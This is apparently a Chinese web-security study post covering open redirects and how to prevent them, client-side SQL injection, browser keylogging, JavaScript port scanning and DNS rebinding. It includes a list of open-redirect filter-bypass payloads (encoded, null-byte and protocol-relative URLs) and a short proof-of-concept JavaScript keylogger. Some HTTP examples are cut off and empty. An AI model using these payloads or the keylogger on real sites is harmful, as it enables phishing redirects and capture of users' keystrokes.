    Refresh: 0; url=http://www.baidu.com
  • HTML的< meta>标签可用于复制任何HTTP消息头的行为,因此可用于重定向:

    HTTP/1.1 200 OK
    Content-Length: 125
    
```
  • JavaScript的各种API可用于将浏览器重定向到任意URL
    HTTP/1.1 200 OK
    Content-Length: 120
    
```

防止开放式重定向漏洞

以下这种情况很常见:用户控制的数据用于设置重定向的目标,但却被应用程序以某种方式过滤或净化掉,一阻止重定攻击。因此,接下来应该确认应用程序能否避开防御机制执行任意重定向。通常会遇到以下两种情况:尝试阻止绝对URL,附加一个特殊的绝对URL前缀。

阻止绝对URL

应用程序可能会检查用户提交的字符串是否以http://开头,如果是,就阻止该请求。

 HtTp://www. baidu.com
%00http://www. baidu.com
//www. baidu.com
%68%74%74%70%3a%2f%2fwww. baidu.com 
%2568%2574%2574%2570%253a%252f%252fwww. baidu.com
https://www. baidu.com
http:\\www. baidu.com
https:///www. baidu.com

防止开放式重定向漏洞

绝不将用户提交的数据合并到重定向目标中,是避免开放式重定向漏洞的最有效方法。但我们可以找到替代的方法,可能的替代方法如下:

  • 从应用程序中删除重定向页面,用直接指向相关目标URL的链接代替指向重定向页面的链接
  • 建立一个包含所有有效重定向URL的列表。不以参数的形式向重定向页面传送目标URL,而是传送这个列表的索引。重定向页面应在这个列表里查询这个索引,并返回一个指向相关URL的重定向。

如果重定向页面不可避免地要收到用户提交的输入并将它合并到重定向目标中,应使用以下措施降低重定向攻击的风险。

  • 应用程序应在所有重定向中使用相对URL,重定向页面应严格确认它收到的URL为相对URL。它应当确保:用户提交的URL或者以其后接一个字母的斜线字符开头,或者以一个字母开头,并且在第一个斜线前没有冒号。如果不满足这些条件,应拒绝该输入而不是净化
  • 应用程序应该在所有重定向中使用相对于Web根目录的URL,在发布重定向之前,重定向页面应在所有用户提交的URL前附加http://yourdomainname.com 。如果用户提交的URL并不以斜线字符开头,应在它的签名附加http://yourdomainname.com/
  • 应用程序对所有重定向使用绝对URL,重定向页面在发布重定向页面之前,应确认用户提交的URL以http://yourdomainname.com/ 开头。此外,应拒绝任何其他输入。

和基于DOM的XSS漏洞一样,建议应用程序不要根据DOM数据通过客户端脚本执行重定向,因为这些数据不在服务器的直接控制范围内。

客户端SQL注入

  • HTML5支持客户端SQL数据库,应用程序可使用该数据库在客户端存储数据。这些数据库使用JavaScript访问。
  • 应用程序可以使用该功能将常用数据库存储到客户端,然后在需要的时候将这些数据快速检索到用户界面中。
  • 该功能还允许应用程序以“离线模式”运行,在这种模式下,所有由应用程序处理的数据将驻留在客户端,用户操作也存储在客户端,以便于在网络连接时可与服务器同步。
    因此,在客户端也可能会发生SQL注入,下面是一些可能受到这类攻击的应用程序:
  • 社交网络应用程序,这类应用程序将用户的联系人信息存储在本地数据库中,包括联系人姓名和状态更新。
  • 新闻应用程序,这类应用程序将文章和用户评论存储在本地数据库中,以便于离线查看
  • Web邮件应用程序,这类应用程序将用户的联系人信息存储在本地数据库中,在离线模式下运行时,则存储待发邮件以便于稍后发送。

攻击浏览器

记录键击

JavaScript可在浏览器窗口处于激活状态时监控用户按下的所有键,包括密码、私人信息和其他个人信息。下面的概念验证脚本将截获IE中所有的键击,并在浏览器状态栏中显示全部内容:

<script>document.onkeypress = function(){
    window.status += String.fromCharCode(window.event.keyCode);
}</script>

只有运行上述代码的框架处于激活状态时,这些攻击才能捕获键击。但是,如果在自身页面的框架内嵌入了第三方小组件或广告小程序,某些应用程序可能易于受到键击记录攻击。在“逆向键击劫持”攻击中,在子框架中运行的恶意代码能够夺取顶层窗口的控制权,因为同源策略并不能阻止这种操作。恶意代码通过处理onkeydown事件来捕获键击,并且能够将单独的onkeypress事件传递给顶层窗口。这样,输入的文本仍能在顶层窗口中正常显示。通过在暂停输入时暂时放弃激活状态,恶意代码甚至可以在顶层窗口内的正常位置保留显示闪烁的光标。

端口扫描

  • JavaScript可用于对用户本地网络或其他可访问的网络上的主机进行端口扫描,也确定可被利用的服务。如果用户没有受到防火墙保护,攻击者将能够到达无法通过公共互联网访问的服务。如果攻击者扫描客户端计算机的回环接口,就能够避开用户安装的任何防火墙。
  • 基于浏览器的端口扫描可用Java applet确定用户的IP地址(可能进行了网络地址转换),从而推断出本地IP地址的范围。然后,脚本尝试与任意主机和端口进行连接,测试连通性。同源策略将阻止脚本处理这些请求的响应。但是,可以由攻击者的脚本尝试从每个目标主机和端口动态加载并执行一段脚本。如果那个端口上有Web服务器正在运行,它将返回HTML或其他一些内容。生成端口扫描能够检测到的JavaScript错误。否则,连接尝试将会超时或不返回任何数据,在这种情况下不会导致错误。

DNS重新绑定

DNS重新绑定(DNS rebinding)是一种在某些情况下可违反同源策略,从而允许恶意Web站点与其他域进行交互的技术。之所以可以实施这种攻击,是因为同源策略主要基于域名进行隔离,而最终传送HTTP请求则需要将域名转换为IP地址。这种攻击的过程如下:

  • 用户访问攻击者域上的恶意Web网页。为检索这个页面,用户的浏览器会将攻击者的域名解析为攻击者的IP地址。
  • 攻击者的Web页面向攻击者的域提出Ajax请求(同源策略允许这种行为),攻击者利用DNS重新绑定再次解析攻击者的域,在这次解析过程中,域名将解析为攻击者所针对的第三方应用程序的IP地址。
  • 针对攻击者的域名提出的请求将被发送到目标应用程序中,由于这些请求与攻击者的原始页面始终在一个域中,因此,同源策略允许攻击者检索目标应用程序返回的请求内容,并将这些内容返回给攻击者。(可能位于收起控制的其他域上)
  • 在DNS重新绑定攻击中,就浏览器而言,针对目标应用程序的请求仍然在攻击者的域中提出。因此,这些请求不会包含目标应用程序所在域的任何cookie

   转载规则


《Web安全(11)》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录